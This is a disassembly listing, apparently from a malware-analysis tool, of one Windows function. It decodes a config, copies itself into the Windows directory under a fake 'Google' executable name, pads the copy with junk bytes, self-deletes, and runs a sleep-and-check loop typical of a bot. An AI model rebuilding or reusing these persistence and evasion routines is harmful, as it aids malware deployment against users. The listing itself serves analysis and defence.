Function at 0x4020c0
Capabilities:
Copy file
Create thread
Delete file
Get common file path
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x900
push ebx
push esi
push edi
lea ecx, [ebp - 0xc]
call fcn.00401000
mov bl, 0x65
lea edi, [ebp - 8]
or ecx, 0xffffffff
xor eax, eax
mov byte [ebp - 8], 0x44
mov byte [ebp - 7], bl
mov byte [ebp - 6], 0x6e
mov byte [ebp - 5], 0x67
mov byte [ebp - 4], 0
push 1
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea eax, [ebp - 8]
push ecx
push eax
push 0x480
lea ecx, [ebp - 0x900]
push 0x404020
push ecx
lea ecx, [ebp - 0xc]
call fcn.00401040
mov ecx, 0x120
lea esi, [ebp - 0x900]
mov edi, 0x404020
rep movsd dword es:[edi], dword [esi]
call fcn.00402030
test eax, eax
je 0x402407
push 0x404d78
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x37b]
mov byte [ebp - 0x37c], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea edx, [ebp - 0x37c]
push 0x104
push edx
push 0
stosb byte es:[edi], al
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x173]
mov byte [ebp - 0x174], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x174]
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
lea edi, [ebp - 0x174]
or ecx, 0xffffffff
xor eax, eax
lea edx, [ebp - 0x480]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0xd
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call fcn.00401830
push 0xc
mov esi, eax
call fcn.00401830
add esp, 8
lea ecx, [esi + eax + 0x61]
push ecx
push 0xd
call fcn.00401830
push 0xd
mov esi, eax
call fcn.00401830
add esp, 8
lea edx, [esi + eax + 0x61]
lea eax, [ebp - 0x174]
lea ecx, [ebp - 0x174]
push edx
push eax
push str._sGoogle_c_c.ExE
push ecx
call dword [sym.imp.MSVCRT.dll_sprintf]
lea edx, [ebp - 0x174]
lea eax, [ebp - 0x37c]
push edx
push eax
call fcn.00401f40
add esp, 0x1c
test eax, eax
jne 0x402304
lea ecx, [ebp - 0x174]
push 1
lea edx, [ebp - 0x37c]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
lea eax, [ebp - 0x37c]
push eax
call fcn.00401da0
lea ecx, [ebp - 0x174]
add esp, 4
test ecx, ecx
je 0x4022ed
lea edx, [ebp - 0x174]
push 0x404578
push edx
call dword [sym.imp.MSVCRT.dll_fopen]
mov ebx, eax
add esp, 8
test ebx, ebx
je 0x4022ed
mov ecx, 0x18
xor eax, eax
lea edi, [ebp - 0x6f]
mov byte [ebp - 0x70], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push 0x80
stosb byte es:[edi], al
call fcn.00401830
mov dl, al
mov ecx, 0x18
mov dh, dl
lea edi, [ebp - 0x70]
mov eax, edx
push 0xff
shl eax, 0x10
mov ax, dx
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
call fcn.00401830
mov ecx, eax
add esp, 8
shl ecx, 6
add ecx, eax
lea eax, [eax + ecx*2]
shl eax, 3
je 0x4022e3
mov edi, dword [sym.imp.MSVCRT.dll_fputs]
mov esi, eax
nop
nop
nop
nop
nop
nop
lea edx, [ebp - 0x70]
push ebx
push edx
call edi
add esp, 8
dec esi
jne 0x4022d0
push ebx
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 4
lea eax, [ebp - 0x174]
push eax
call fcn.004019d0
add esp, 4
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push 0
push 0
push 0
push 0x401e40
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, 0x3f
xor eax, eax
lea edi, [ebp - 0x272]
mov byte [ebp - 0x278], 0x53
mov byte [ebp - 0x277], 0x6c
mov byte [ebp - 0x276], bl
mov byte [ebp - 0x275], bl
mov byte [ebp - 0x274], 0x70
mov byte [ebp - 0x273], 0
push str.kernel32.dll
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, eax
test esi, esi
je 0x402386
lea ecx, [ebp - 0x278]
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x927c0
call eax
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x47f]
mov byte [ebp - 0x480], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea edx, [ebp - 0x480]
push 0x404564
push edx
stosb byte es:[edi], al
call fcn.00401890
lea eax, [ebp - 0x480]
push eax
push 0x404020
call fcn.00401570
add esp, 0x10
test eax, eax
je 0x4023dd
lea ecx, [ebp - 0x480]
push ecx
call fcn.00401a40
add esp, 4
mov eax, dword [0x404438]
test eax, eax
je 0x4023eb
call fcn.00401b50
mov eax, dword [0x40432c]
lea eax, [eax + eax*2]
lea eax, [eax + eax*4]
lea eax, [eax + eax*4]
lea eax, [eax + eax*4]
lea edx, [eax + eax*4]
shl edx, 5
push edx
call esi
jmp 0x40238c
lea eax, [ebp - 0x480]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea ecx, [ebp - 0x480]
push ecx
call fcn.004019d0
add esp, 4
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]